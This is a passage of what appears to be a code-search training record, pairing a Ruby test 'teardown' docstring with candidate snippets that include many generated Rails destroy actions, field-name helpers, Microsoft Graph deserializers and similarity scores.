respond_to do |format|\n format.html { redirect_to(post342s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post481 = Post481.find(params[:id])\n @post481.destroy\n\n respond_to do |format|\n format.html { redirect_to(post481s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post273 = Post273.find(params[:id])\n @post273.destroy\n\n respond_to do |format|\n format.html { redirect_to(post273s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post72 = Post72.find(params[:id])\n @post72.destroy\n\n respond_to do |format|\n format.html { redirect_to(post72s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @offpost = Offpost.find(params[:id])\n @offpost.destroy\n\n respond_to do |format|\n format.html { redirect_to(offposts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post341 = Post341.find(params[:id])\n @post341.destroy\n\n respond_to do |format|\n format.html { redirect_to(post341s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post231 = Post231.find(params[:id])\n @post231.destroy\n\n respond_to do |format|\n format.html { redirect_to(post231s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post50 = Post50.find(params[:id])\n @post50.destroy\n\n respond_to do |format|\n format.html { redirect_to(post50s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post295 = Post295.find(params[:id])\n @post295.destroy\n\n respond_to do |format|\n format.html { redirect_to(post295s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post183 = Post183.find(params[:id])\n @post183.destroy\n\n respond_to do |format|\n format.html { redirect_to(post183s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post471 = Post471.find(params[:id])\n @post471.destroy\n\n respond_to do |format|\n format.html { redirect_to(post471s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post318 = Post318.find(params[:id])\n @post318.destroy\n\n respond_to do |format|\n format.html { redirect_to(post318s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post99 = Post99.find(params[:id])\n @post99.destroy\n\n respond_to do |format|\n format.html { redirect_to(post99s_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @post77 = Post77.find(params[:id])\n @post77.destroy\n\n respond_to do |format|\n format.html { redirect_to(post77s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post68 = Post68.find(params[:id])\n @post68.destroy\n\n respond_to do |format|\n format.html { redirect_to(post68s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post85 = Post85.find(params[:id])\n @post85.destroy\n\n respond_to do |format|\n format.html { redirect_to(post85s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @post425 = Post425.find(params[:id])\n @post425.destroy\n\n respond_to do |format|\n format.html { redirect_to(post425s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post122 = Post122.find(params[:id])\n @post122.destroy\n\n respond_to do |format|\n format.html { redirect_to(post122s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post423 = Post423.find(params[:id])\n @post423.destroy\n\n respond_to do |format|\n format.html { redirect_to(post423s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post489 = Post489.find(params[:id])\n @post489.destroy\n\n respond_to do |format|\n format.html { redirect_to(post489s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post81 = Post81.find(params[:id])\n @post81.destroy\n\n respond_to do |format|\n format.html { redirect_to(post81s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post117 = Post117.find(params[:id])\n @post117.destroy\n\n respond_to do |format|\n format.html { redirect_to(post117s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post215 = Post215.find(params[:id])\n @post215.destroy\n\n respond_to do |format|\n format.html { redirect_to(post215s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post248 = Post248.find(params[:id])\n @post248.destroy\n\n respond_to do |format|\n format.html { redirect_to(post248s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post143 = Post143.find(params[:id])\n @post143.destroy\n\n respond_to do |format|\n format.html { redirect_to(post143s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post33 = Post33.find(params[:id])\n @post33.destroy\n\n respond_to do |format|\n format.html { redirect_to(post33s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post272 = Post272.find(params[:id])\n @post272.destroy\n\n respond_to do |format|\n format.html { redirect_to(post272s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post107 = Post107.find(params[:id])\n @post107.destroy\n\n respond_to do |format|\n format.html { redirect_to(post107s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post284 = Post284.find(params[:id])\n @post284.destroy\n\n respond_to do |format|\n format.html { redirect_to(post284s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post257 = Post257.find(params[:id])\n @post257.destroy\n\n respond_to do |format|\n format.html { redirect_to(post257s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to(root_path, :notice => t('controller.deleted')) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post21 = Post21.find(params[:id])\n @post21.destroy\n\n respond_to do |format|\n format.html { redirect_to(post21s_url) }\n format.xml { head :ok }\n end\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def destroy\n @post191 = Post191.find(params[:id])\n @post191.destroy\n\n respond_to do |format|\n format.html { redirect_to(post191s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post493 = Post493.find(params[:id])\n @post493.destroy\n\n respond_to do |format|\n format.html { redirect_to(post493s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post297 = Post297.find(params[:id])\n @post297.destroy\n\n respond_to do |format|\n format.html { redirect_to(post297s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post488 = Post488.find(params[:id])\n @post488.destroy\n\n respond_to do |format|\n format.html { redirect_to(post488s_url) }\n format.xml { head :ok }\n end\n end" ]
[ "0.70254713", "0.69918907", "0.6966926", "0.6956578", "0.69497263", "0.6944906", "0.6921125", "0.69131374", "0.6908971", "0.6908146", "0.6903623", "0.68766314", "0.6868062", "0.6864705", "0.685421", "0.6849582", "0.68486106", "0.68477213", "0.6847519", "0.68396556", "0.6825686", "0.6817813", "0.68167436", "0.6815289", "0.68149084", "0.6808265", "0.6796889", "0.67949235", "0.6789625", "0.67886585", "0.6786324", "0.67840725", "0.67776334", "0.67748743", "0.6768857", "0.6765731", "0.67644626", "0.67619586", "0.6761161", "0.67604876", "0.67551124", "0.67510056", "0.6747865", "0.6745127", "0.6744962", "0.67311144", "0.6729873", "0.67254066", "0.6724792", "0.6721917", "0.6720452", "0.67164963", "0.6713173", "0.6713037", "0.6699984", "0.66988206", "0.66946936", "0.6693315", "0.6693176", "0.6692008", "0.66914755", "0.6690439", "0.66883755", "0.66861624", "0.6685981", "0.66834086", "0.6670609", "0.66694933", "0.66689366", "0.6665525", "0.6658961", "0.66577613", "0.6650014", "0.6645429", "0.66380304", "0.6635997", "0.6633159", "0.66321594", "0.6631602", "0.66247785", "0.66235286", "0.66224474", "0.66147345", "0.6612513", "0.6610862", "0.66100544", "0.6609578", "0.66088384", "0.66077167", "0.65957665", "0.65946954", "0.65921545", "0.6584377", "0.65833294", "0.65813696", "0.6581219", "0.6580376", "0.65783155", "0.6577901", "0.65767515" ]
0.70457685
0
Called after every test method runs. Can be used to tear down fixture information.
def teardown # Do nothing end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def after_teardown; end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n # Empty\n end", "def teardown\n # Empty\n end", "def teardown\n # if necessary\n end", "def teardown; end", "def teardown; end", "def teardown\n # No-op\n end", "def teardown\r\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n # Do nothing\n end", "def teardown\n # Do nothing\n end", "def teardown!\n\n end", "def teardown\n reset_test_env\n end", "def teardown\n reset_test_env\n end", "def teardown\n # empty\n end", "def teardown\n\n end", "def teardown\n\n end", "def teardown\n\n end", "def teardown\n\n end", "def teardown\n\n end", "def teardown\n\n end", "def teardown\n\n end", "def teardown\n\n end", "def teardown\n\n end", "def teardown\n\n end", "def teardown\n\n end", "def teardown\n\n end", "def teardown\n\n end", "def teardown\n\n end", "def teardown\n\n end", "def teardown\n\n end", "def teardown\n\n end", "def teardown\n puts \"tear down\"\n end", "def before_teardown; end", "def teardown(&block)\n after(:each, &block)\n end", "def teardown\n super\n end", "def teardown\n\t\t\t\t# Do nothing\n\t\tend", "def tear_down; end", "def teardown\n\tend", "def teardown\n\tend", "def teardown\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def teardown\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def teardown\n raise \"Unimplemented method #teardown\"\n end", "def teardown\n\t\t# Do nothing\n\tend", "def teardown\n\t\t# Do nothing\n\tend", "def teardown\n\t\t# Do nothing\n\tend", "def teardown\n # Do nothing\n end", "def teardown\n cleanup_tables\n cleanup_caches\n end", "def teardown\n super\n end", "def teardown\n super\n end", "def teardown\n super\n end", "def teardown\n # do something\n end", "def teardown\r\n\t\t@vendors = nil\r\n\t\t@vendor = nil\r\n\t\t@model = nil\r\n\t\t@deviceView = nil\r\n\t\t@devicewWhatHas = nil\r\n\t\t@fetchTrees = nil\r\n\t\t@fetchSpecs = nil\r\n\tend", "def teardown\n #implement in subclass;\n end", "def after_test(_test); end", "def after_test(_test); end", "def after_test(_test); end", "def teardown\n\t\tputs \"Completed unit test execution\"\n\tend", "def teardown\n @bu = nil\n end", "def teardown\n # Do nothing\n end", "def teardown\n # Do nothing\n end", "def teardown\n # Do nothing\n end", "def teardown\n # Do nothing\n end", "def teardown\n # Do nothing\n end", "def teardown\n # Do nothing\n end", "def teardown\n # Do nothing\n end", "def teardown\n # Do nothing\n end", "def teardown\n # Do nothing\n end" ]
[ "0.8025238", "0.79543626", "0.79543626", "0.78571093", "0.7845288", "0.7845288", "0.7845288", "0.7845288", "0.7845288", "0.7845288", "0.7845288", "0.7845288", "0.78336143", "0.78336143", "0.7750328", "0.77483624", "0.77483624", "0.7734571", "0.7713144", "0.7711698", "0.7711698", "0.7711698", "0.7711698", "0.7711698", "0.7711698", "0.7711698", "0.7711698", "0.7711698", "0.7711698", "0.7711698", "0.7711698", "0.7711698", "0.7588461", "0.7588461", "0.7576201", "0.75686413", "0.75686413", "0.7564417", "0.75566334", "0.75566334", "0.75566334", "0.75566334", "0.75566334", "0.75566334", "0.75566334", "0.75566334", "0.75566334", "0.75566334", "0.75566334", "0.75566334", "0.75566334", "0.75566334", "0.75566334", "0.75566334", "0.75566334", "0.74753416", "0.74639195", "0.7444996", "0.7421199", "0.7397627", "0.739077", "0.7388719", "0.7388719", "0.73850024", "0.73850024", "0.73603344", "0.7353042", "0.7353042", "0.7353042", "0.7345512", "0.7316518", "0.72850275", "0.72850275", "0.72850275", "0.7284316", "0.72694516", "0.7261574", "0.72485334", "0.72485334", "0.72485334", "0.72324896", "0.72299993", "0.7226005", "0.7226005", "0.7226005", "0.7226005", "0.7226005", "0.7226005", "0.7226005", "0.7226005", "0.7226005" ]
0.7384664
73
called recursively to collect all the graphable numeric field names
def add_field_names depth, attributes, field_hash, filter_hash if field_hash[depth] == nil field_hash[depth] = Array.new end attributes.each do |key, value| if value.is_a? Hash if filter_hash[depth] != nil and filter_hash[depth].include?(key) field_hash = add_field_names(depth+1, value, field_hash, filter_hash) end end unless value.is_a? String field_hash[depth] << key end end return field_hash end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def fix_numerals\n hash = self.clone\n traverse hash\n hash\n end", "def process_header_repeatable_field_names_do_not_have_numbers(header)\n\n child_field_group = nil\n\n first_field, rest_of_header = header.split(':',2)\n\n if first_field == header\n\n # we have a field name, i.e. a dynamic field\n # puts \"we got a field name: \" + \"#{first_field}\"\n\n return add_child_field first_field\n\n else\n \n # error condition if there is nothing after the ':'\n return nil if rest_of_header == ''\n\n # puts \"First part of header: \" + \"#{first_field}\"\n # puts \"Second part of header: \" + \"#{rest_of_header}\"\n\n # we have a field_group name, i.e. a dynamic field group\n\n # If the child field group does not exist, create one if needed.\n # first, see if there is even one already created\n if !( @child_field_groups.has_key? first_field )\n\n puts \"Key: #{first_field} not found\"\n\n child_field_group = Hyacinth::Utils::DynamicFieldGroupBuilder.new first_field, self\n @child_field_groups[first_field] = child_field_group\n\n else\n\n # even though we already have a DynamicFieldGroupBuilder created for this type of dynamic field group,\n # this may be a repeatable field, which means we need to create a new one if needed. The heuristic we use\n # here is that if we try to set a field that already exists, then this must be the next instance in a \n # repeatable field group\n if (@child_field_groups[first_field].field_exists? rest_of_header)\n\n # field exists, so start a new dynamic field\n child_field_group = Hyacinth::Utils::DynamicFieldGroupBuilder.new first_field, self\n \n else\n\n # use existing one\n child_field_group = @child_field_groups[first_field]\n \n end\n\n end\n\n return @child_field_groups[first_field].process_header_repeatable_field_names_do_not_have_numbers(rest_of_header)\n \n end\n\n end", "def get_field_deserializers()\n return {\n \"cumulative\" => lambda {|n| @cumulative = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"numberF\" => lambda {|n| @number_f = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"numberS\" => lambda {|n| @number_s = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"probabilityS\" => lambda {|n| @probability_s = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n }\n end", "def walk\n @fields.collect { |node| \"#{SNMPPass.num2oid(node.oid)} = #{node.value.inspect} (#{node.type})\"}.join(\"\\n\")\n end", "def field_names\n @_field_path.map{ |field_| field_.name }\n end", "def field_names\n internal_format.keys\n end", "def pre_gen(record)\n numeric_fields.each do |field|\n if vals = record[field] and vals.is_a?(Array)\n record[field] = vals.join(\",\")\n end\n end\n end", "def field_names\n label_fields.to_h\n end", "def get_field_deserializers()\n return super.merge({\n \"unit\" => lambda {|n| @unit = n.get_string_value() },\n \"value\" => lambda {|n| @value = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n })\n end", "def field_names\n (text_fields + html_fields + atom_fields + datetime_fields +\n number_fields + geo_fields).uniq\n end", "def get_field_deserializers()\n return {\n \"cumulative\" => lambda {|n| @cumulative = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"z\" => lambda {|n| @z = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n }\n end", "def transform_numbers_field fields,row_size\n count = 0\n @numbers.each do |n,arr|\n i = fields.delete(n) # delete the old field\n ## replace by the new fields instead\n arr.each { |v| fields[v] = row_size + count; count += 1 }\n end\n return fields\n end", "def number_field(object_name, method, options = T.unsafe(nil)); end", "def field_names\n fields.keys\n end", "def get_field_deserializers()\n return {\n \"A\" => lambda {|n| @a = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"alpha\" => lambda {|n| @alpha = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"B\" => lambda {|n| @b = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"beta\" => lambda {|n| @beta = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"probability\" => lambda {|n| @probability = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n }\n end", "def inspect\n # This could possibly be more readable...\n self.flatten.map {|field| \"<IDX:#{self.flatten.index(field)}><#{field.class.to_s.match(/::(.+)Field/)[1]}><#{field.name}><#{field.length}><#{field.to_s[0..12].each_byte.to_a.map {|b| \"%.2x\" % b}.join(' ') + (field.to_s.length>12?\"...\":\"\")}>\"}\n end", "def fields\n @field_labels.collect { |k, v| { sym: k, name: v } }\n end", "def get_field_names(template); end", "def each_field\n fields.merge(extension_fields).sort_by {|tag, _| tag}.each do |_, field|\n value = __send__(field.name)\n yield(field, value)\n end\n end", "def name_prefix\n 'num'\n end", "def graph_fields\n fields = []\n if !self.speed.nil? && self.speed > 0\n fields << [\"speed\", \"Speed\"]\n end\n\n if !self.hr.nil? && self.hr > 0\n fields << [\"hr\", \"Heart Rate\"]\n end\n\n if !self.elevation.nil? && self.elevation > 0\n fields << [\"elevation\", \"Elevation\"]\n end\n return fields\n end", "def next_unknown_field_name\n field_name = \"unknown\" + @unknown_inc.to_s\n @unknown_inc += 1\n field_name.to_sym\n end", "def field_names(filter = [], include_inherited = true)\n names = fields.keys\n\n if include_inherited && has_parent?\n names.concat(inherited_fields)\n end\n\n unless filter.empty?\n names = names & filter.map(&:to_sym)\n end\n\n names.sort!\n names\n end", "def numbername\n self.number + \" - \" + self.name\n end", "def get_field_deserializers()\n return {\n \"newText\" => lambda {|n| @new_text = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"numBytes\" => lambda {|n| @num_bytes = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"oldText\" => lambda {|n| @old_text = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"startNum\" => lambda {|n| @start_num = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n }\n end", "def get_field_deserializers()\n return {\n \"bottomMargins\" => lambda {|n| @bottom_margins = n.get_collection_of_primitive_values(Integer) },\n \"collation\" => lambda {|n| @collation = n.get_boolean_value() },\n \"colorModes\" => lambda {|n| @color_modes = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintColorMode.create_from_discriminator_value(pn) }) },\n \"contentTypes\" => lambda {|n| @content_types = n.get_collection_of_primitive_values(String) },\n \"copiesPerJob\" => lambda {|n| @copies_per_job = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::IntegerRange.create_from_discriminator_value(pn) }) },\n \"dpis\" => lambda {|n| @dpis = n.get_collection_of_primitive_values(Integer) },\n \"duplexModes\" => lambda {|n| @duplex_modes = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintDuplexMode.create_from_discriminator_value(pn) }) },\n \"feedOrientations\" => lambda {|n| @feed_orientations = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrinterFeedOrientation.create_from_discriminator_value(pn) }) },\n \"finishings\" => lambda {|n| @finishings = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintFinishing.create_from_discriminator_value(pn) }) },\n \"inputBins\" => lambda {|n| @input_bins = n.get_collection_of_primitive_values(String) },\n \"isColorPrintingSupported\" => lambda {|n| @is_color_printing_supported = n.get_boolean_value() },\n \"isPageRangeSupported\" => lambda {|n| @is_page_range_supported = n.get_boolean_value() },\n \"leftMargins\" => lambda {|n| @left_margins = n.get_collection_of_primitive_values(Integer) },\n \"mediaColors\" => lambda {|n| @media_colors = n.get_collection_of_primitive_values(String) },\n \"mediaSizes\" => lambda {|n| @media_sizes = n.get_collection_of_primitive_values(String) },\n \"mediaTypes\" => lambda {|n| @media_types = n.get_collection_of_primitive_values(String) },\n \"multipageLayouts\" => lambda {|n| @multipage_layouts = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintMultipageLayout.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"orientations\" => lambda {|n| @orientations = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintOrientation.create_from_discriminator_value(pn) }) },\n \"outputBins\" => lambda {|n| @output_bins = n.get_collection_of_primitive_values(String) },\n \"pagesPerSheet\" => lambda {|n| @pages_per_sheet = n.get_collection_of_primitive_values(Integer) },\n \"qualities\" => lambda {|n| @qualities = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintQuality.create_from_discriminator_value(pn) }) },\n \"rightMargins\" => lambda {|n| @right_margins = n.get_collection_of_primitive_values(Integer) },\n \"scalings\" => lambda {|n| @scalings = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintScaling.create_from_discriminator_value(pn) }) },\n \"supportsFitPdfToPage\" => lambda {|n| @supports_fit_pdf_to_page = n.get_boolean_value() },\n \"topMargins\" => lambda {|n| @top_margins = n.get_collection_of_primitive_values(Integer) },\n }\n end", "def get_field_deserializers()\n return {\n \"cost\" => lambda {|n| @cost = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"life\" => lambda {|n| @life = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"per\" => lambda {|n| @per = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"salvage\" => lambda {|n| @salvage = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n }\n end", "def get_field_deserializers()\n return {\n \"basis\" => lambda {|n| @basis = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"cost\" => lambda {|n| @cost = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"datePurchased\" => lambda {|n| @date_purchased = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"firstPeriod\" => lambda {|n| @first_period = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"period\" => lambda {|n| @period = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"rate\" => lambda {|n| @rate = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"salvage\" => lambda {|n| @salvage = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n }\n end", "def computed_fields; end", "def field_names\n drawings.pluck(:field_name)\n end", "def all_field_names\n field_set.all_field_names\n end", "def count_field_names\n count_fields.map(&:to_s)\n end", "def get_field_deserializers()\n return {\n \"averageInboundJitter\" => lambda {|n| @average_inbound_jitter = n.get_duration_value() },\n \"averageInboundPacketLossRateInPercentage\" => lambda {|n| @average_inbound_packet_loss_rate_in_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"averageInboundRoundTripDelay\" => lambda {|n| @average_inbound_round_trip_delay = n.get_duration_value() },\n \"averageOutboundJitter\" => lambda {|n| @average_outbound_jitter = n.get_duration_value() },\n \"averageOutboundPacketLossRateInPercentage\" => lambda {|n| @average_outbound_packet_loss_rate_in_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"averageOutboundRoundTripDelay\" => lambda {|n| @average_outbound_round_trip_delay = n.get_duration_value() },\n \"channelIndex\" => lambda {|n| @channel_index = n.get_number_value() },\n \"inboundPackets\" => lambda {|n| @inbound_packets = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"localIPAddress\" => lambda {|n| @local_i_p_address = n.get_string_value() },\n \"localPort\" => lambda {|n| @local_port = n.get_number_value() },\n \"maximumInboundJitter\" => lambda {|n| @maximum_inbound_jitter = n.get_duration_value() },\n \"maximumInboundPacketLossRateInPercentage\" => lambda {|n| @maximum_inbound_packet_loss_rate_in_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"maximumInboundRoundTripDelay\" => lambda {|n| @maximum_inbound_round_trip_delay = n.get_duration_value() },\n \"maximumOutboundJitter\" => lambda {|n| @maximum_outbound_jitter = n.get_duration_value() },\n \"maximumOutboundPacketLossRateInPercentage\" => lambda {|n| @maximum_outbound_packet_loss_rate_in_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"maximumOutboundRoundTripDelay\" => lambda {|n| @maximum_outbound_round_trip_delay = n.get_duration_value() },\n \"mediaDuration\" => lambda {|n| @media_duration = n.get_duration_value() },\n \"networkLinkSpeedInBytes\" => lambda {|n| @network_link_speed_in_bytes = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"outboundPackets\" => lambda {|n| @outbound_packets = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"remoteIPAddress\" => lambda {|n| @remote_i_p_address = n.get_string_value() },\n \"remotePort\" => lambda {|n| @remote_port = n.get_number_value() },\n }\n end", "def processField500s(field, index)\n dataFields = []\n field.find_all do |subfield| \n if subfield.code == \"a\"\n text = cleanField(subfield.value)\n results = annotate(text)\n unless results.nil? \n \n if results[\"found_terms\"].length > 0 # for each found term present, we add a subfield for each date...\n results[\"dates\"].each_with_index do |date, date_index| # iterate through the dates and make them into 981\n df = MARC::DataField.new(\"981\", \"\", \"\", [\"a\", date ], [ \"b\", field.tag], [\"c\", index], [\"e\", \"a\"], [\"f\", date_index] ) \n if field.tag == \"500\" # we add all the terms a d subfiled to the 500 field, but not the others. \n results[\"found_terms\"].each { |ft| df.subfields << MARC::Subfield.new(\"d\", ft ) }\n end\n dataFields << df\n end\n end\n end\n end\n end\n dataFields\n end", "def get_field_deserializers()\n return {\n \"connectors\" => lambda {|n| @connectors = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintConnector.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"operations\" => lambda {|n| @operations = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintOperation.create_from_discriminator_value(pn) }) },\n \"printers\" => lambda {|n| @printers = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::Printer.create_from_discriminator_value(pn) }) },\n \"services\" => lambda {|n| @services = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintService.create_from_discriminator_value(pn) }) },\n \"settings\" => lambda {|n| @settings = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::PrintSettings.create_from_discriminator_value(pn) }) },\n \"shares\" => lambda {|n| @shares = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrinterShare.create_from_discriminator_value(pn) }) },\n \"taskDefinitions\" => lambda {|n| @task_definitions = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintTaskDefinition.create_from_discriminator_value(pn) }) },\n }\n end", "def get_field_deserializers()\n return {\n \"authenticationMethods\" => lambda {|n| @authentication_methods = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::AuthenticationMethodsRoot.create_from_discriminator_value(pn) }) },\n \"dailyPrintUsageByPrinter\" => lambda {|n| @daily_print_usage_by_printer = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintUsageByPrinter.create_from_discriminator_value(pn) }) },\n \"dailyPrintUsageByUser\" => lambda {|n| @daily_print_usage_by_user = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintUsageByUser.create_from_discriminator_value(pn) }) },\n \"monthlyPrintUsageByPrinter\" => lambda {|n| @monthly_print_usage_by_printer = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintUsageByPrinter.create_from_discriminator_value(pn) }) },\n \"monthlyPrintUsageByUser\" => lambda {|n| @monthly_print_usage_by_user = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintUsageByUser.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"security\" => lambda {|n| @security = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityReportsRoot.create_from_discriminator_value(pn) }) },\n }\n end", "def next_unknown_field_name\n field_name = \"_unknown\" + @unknown_inc.to_s\n @unknown_inc += 1\n field_name.to_sym\n end", "def to_human\n fields.map { |f| self[f].to_i.to_s }.join('.')\n end", "def each_field(&blk)\n each do |k,v|\n str_v = if field_def(k).multivalued?\n v.join(', ')\n else\n v.to_s\n end\n\n yield k, str_v\n end\n end", "def field(name); end", "def get_field_deserializers()\n return super.merge({\n \"osCheckFailedPercentage\" => lambda {|n| @os_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"processorCoreCountCheckFailedPercentage\" => lambda {|n| @processor_core_count_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"processorFamilyCheckFailedPercentage\" => lambda {|n| @processor_family_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"processorSpeedCheckFailedPercentage\" => lambda {|n| @processor_speed_check_failed_percentage = 